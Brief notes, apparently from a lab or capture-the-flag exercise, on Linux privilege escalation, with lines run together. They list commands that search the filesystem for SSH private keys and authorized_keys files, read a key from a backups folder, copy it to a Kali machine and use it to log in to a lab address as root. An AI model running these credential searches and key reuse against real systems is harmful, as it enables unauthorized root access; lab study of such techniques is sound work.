Linux - Privilege Escalation - Internal All The Things (swisskyrepo.github.io)
find / -name authorized_keys 2> /dev/nullfind / -name id_rsa 2> /dev/nulllook at it:
cat /backups/supersecretkeys/id_rsaSave the key on our machine:
mousepad id_rsainclude the beginning and ending texts
change the file perms:
chmod 600 id_rsafrom Kali:
connect to SSH using the key:
ssh -i id_rsa root@10.10.37.231